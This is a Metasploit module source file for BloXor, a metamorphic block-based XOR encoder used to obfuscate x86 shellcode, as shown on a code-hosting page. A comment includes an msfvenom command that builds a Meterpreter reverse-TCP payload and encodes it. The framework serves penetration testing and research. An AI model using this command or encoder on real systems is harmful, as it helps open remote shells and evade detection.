Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/encoders/x86/bloxor.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/encoder/bloxor/bloxor'67#8# BloXor is a cross architecture metamorphic block based xor encoder/decoder for Metasploit.9# BloXor was inspired by the Shikata Ga Nai encoder (./msf/modules/encoders/x86/shikata_ga_nai.rb)10# by spoonm and the Rex::Poly::Block (./msf/lib/rex/poly/block.rb) code by skape.11#12# Please refer to ./msf/lib/rex/encoder/bloxor/bloxor.rb for BloXor's implementation and to13# ./msf/lib/rex/poly/machine/machine.rb and ./msf/lib/rex/poly/machine/x86.rb for the14# backend metamorphic stuff.15#16# A presentation at AthCon 2012 by Dimitrios A. Glynos called 'Packing Heat!' discusses a17# metamorphic packer for PE executables and also uses METASM. I am unaware of any code having18# been publicly released for this, so am unable to compare implementations.19# http://census-labs.com/media/packing-heat.pdf20#21# Manually check the output with the following command:22# >ruby msfvenom -p windows/meterpreter/reverse_tcp RHOST=192.168.2.2 LHOST=192.168.2.1 LPORT=80 -a x86 -e x86/bloxor -b '\x00' -f raw | ndisasm -b32 -k 128,1 -23#2425class MetasploitModule < Rex::Encoder::BloXor2627# Note: Currently set to manual, bump it up to automatically get selected by the framework.28# Note: BloXor by design is slow due to its exhaustive search for a solution.29Rank = ManualRanking3031def initialize32super(33'Name' => 'BloXor - A Metamorphic Block Based XOR Encoder',34'Description' => 'A Metamorphic Block Based XOR Encoder.',35'Author' => [ 'sf' ],36'Arch' => ARCH_X86,37'License' => MSF_LICENSE,38'EncoderType' => Msf::Encoder::Type::Unspecified39)40end4142def compute_decoder( state )4344@machine = Rex::Poly::MachineX86.new( state.badchars )4546super( state )47end48end495051